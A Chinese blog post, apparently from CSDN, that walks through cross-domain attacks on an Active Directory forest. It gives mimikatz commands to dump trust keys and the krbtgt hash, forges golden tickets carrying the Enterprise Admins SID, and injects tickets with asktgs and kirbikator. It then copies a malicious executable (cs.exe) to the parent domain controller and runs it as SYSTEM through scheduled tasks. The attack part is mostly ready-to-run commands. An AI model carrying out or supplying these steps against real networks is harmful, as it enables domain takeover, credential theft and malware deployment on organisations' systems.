首页 > 其他分享 >内网安全:跨域攻击

内网安全:跨域攻击

时间:2024-08-18 17:27:20浏览次数:7  
标签:exe 跨域 攻击 子域 dc 安全 shell hack com

目录

获取域信息

利用域信任密钥获取目标域

利用krbtgt哈希值获取目标域


获取域信息

在域中,Enterprise Admins组(出现在林中的根域中)的成员具有对目录林中所有域的完全控制权 限。在默认情况下,该组包含林中所有域控制器上具有Administrators权限的成员

查看当前域中计算机的权限

whoami /all

使用lg工具获取域的相关信息

查看域信任关系

shell nltest /domain_trusts

发现这是一个子域

获取当前域中的用户组

shell LG.exe abc\.

利用域信任密钥获取目标域

利用:

先拿下一个子域控,进行信息收集,从而通过子域控的用户执行命令拿下域控

1.先查看是否访问服务器:

shell dir \\dc.hack.com\c$

不能访问

2.使用mimikatz获取 当前域的 SID 父域的 SID 子域域管的NTLM 信任密钥rc4

mimikatz lsadump::trust /patch

mimikatz lsadump::lsa /patch /user:HACK$

在子域域控上进行信息收集,在子域的用户进行执行命令

在普通的域内用户中创建创建高权限票据

mimikatz kerberos::golden /domain:子域 /sid:子域SID /sids:父域-519 /rc4:信任密钥 /user:任意用户 /service:krbtgt /target:父域 /ticket:subdc_administrator.kirbi

查看是否生成成功

shell dir

上传asktgs.exe和kirbikator.exe工具,asktgs.exe伪造票据,kirbikator.exe注入票据

创建CIFS服务的票据进行复制文件的操作

shell asktgs.exe administrator.kirbi CIFS/DC.hack.com

将票据注入内存

shell kirbikator.exe lsa CIFS.DC.hack.com.kirbi

访问域控

shell dir \\dc.hack.com\c$

复制恶意文件

shell copy cs.exe \\dc.hack.com\c$

提示拒绝访问,说明没有权限,那么再伪造一个host票据

伪造结束再次复制

创建计划任务

schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\cs.exe /ru system /f

执行计划任务

schtasks /run /s dc.hack.com /i /tn "test"

最后成功上线

利用krbtgt哈希值获取目标域

利用:

获取krbtgt的散列值:

mimikatz lsadump::lsa /patch /user:krbtgt

获取关键信息:SID

mimikatz lsadump::trust /patch

构造并注入黄金票据

Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID519 /krbtgt:krbtgt散列 /ptt

访问目标域

shell dir \\dc.hack.com\c$

复制恶意文件

执行计划任务

schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\cs.exe /ru system /f

启动计划任务:

schtasks /run /s dc.hack.com /i /tn "test"

上线

标签:exe,跨域,攻击,子域,dc,安全,shell,hack,com
From: https://blog.csdn.net/2301_80116443/article/details/141296152

相关文章

  • Spring Boot 中如何解决跨域问题
    SpringBoot中跨域问题是什么   在SpringBoot中,跨域问题是指在浏览器上发送跨源请求时可能会遇到的问题。跨源请求是指通过浏览器发送请求到不同域的服务器。同源策略是浏览器的一种安全机制,限制了跨域请求的行为。如果请求的域与当前页面的域不同,浏览器会阻止请求的发......
  • 【JavaEE】线程安全的集合类
    目录前言多线程环境使用ArrayList多线程环境使用队列多线程环境下使用哈希表1.HashTable2.ConcurrentHashMap面试题1.ConcurrentHashMap的读会否需要加锁,为什么?2.介绍下ConcurrentHashMap的锁分段技术?3.ConcurrentHashMap在jdk1.8做了哪些优化?4.HashTable和HashMap......
  • C安全编程教学-声明和初始化-声明具有正确存储持续期的对象(三)
    注:本课程参考文献《C安全编码标准》 欢迎关注我......
  • 住宅代理和数据中心代理在指纹浏览器中的安全性评估
     住宅代理和数据中心代理在指纹浏览器中的安全性评估是一个复杂但关键的问题。 住宅代理通过真实家庭网络获取的IP地址,具有高度的真实性和自然性。这就好比是真实用户在自己的家中进行访问。以下是一个简单的代码示例,展示如何在Python中使用住宅代理进行网络请求: ......
  • pb 网站系统安全级别
    很多用户觉得建设网站很简单,模板买了,上传解压能访问就行,无非就改个后台登录密码提高下安全性,然后定时更新内容就行。那么你就错了,下面就说下PB的模板如何做好防护。首先重中之重:后台一定要升级到最新版。第一步:这个data文件夹名字换掉,自己随便换一个名字即可(例如:mubanbaba@data)......
  • 读软件开发安全之道:概念、设计与实施02经典原则
    1. CIA原则1.1. 软件安全都构建在信息安全的三大基本原则之上,即机密性(confidentiality)、完整性(integrity)和可用性(availability)1.2. 双方交换的数据1.2.1. 从技术上看,端点之间的数据交换本身就会削弱交互的机密性1.2.2. 隐藏通信数据量的一种方法是让端点始终......
  • XSS-跨站脚本攻击
    目录XSS简介XSS分类反射型XSS(非持久型XSS)存储型XSS(持久型XSS)DOM型XSSHTML文档解析过程例题HTML解析字符实体(characterentities)HTML字符实体(HTMLcharacterentities)字符引用(characterreferences)URL解析JavaScript解析解析流XSS练习DomClobberingDOM型......
  • k8s安全机制
    目录1.认证(Authentication)2. 鉴权(Authorization)3.准入控制(AdmissionControl)Kubernetes作为一个分布式集群的管理工具,保证集群的安全性是其一个重要的任务。APIServer是集群内部各个组件通信的中介,也是外部控制的入口。所以Kubernetes的安全机制基本就是围绕保护......
  • Java 安全研究基础
    JavaEE搞过JavaWeb开发的多少会知道JavaEE。从字面上来看,它的意思是JavaPlatform,EnterpriseEdition,即Java平台企业版。实际上JavaEE包含了一系列标准,这些标准主要用来为企业级应用提供分布式计算、Web服务等的统一定义和接口。Servlet从实现上来说,Servlet是一......
  • 打击盗版,禁止盗版软件联网!电脑下载了不安全的“软件”,怎么禁止它联网?这三种方法最常用
    数字化时代,盗版软件的泛滥不仅侵犯了软件开发者的知识产权,还严重威胁到用户的网络安全和数据安全。当不慎在电脑上下载了不安全的盗版软件时,如何有效地禁止其联网,成为保护个人或企业信息、系统安全的重要一环。本文将为您介绍三种最常用的方法,包括借助安企神软件的软件管控功......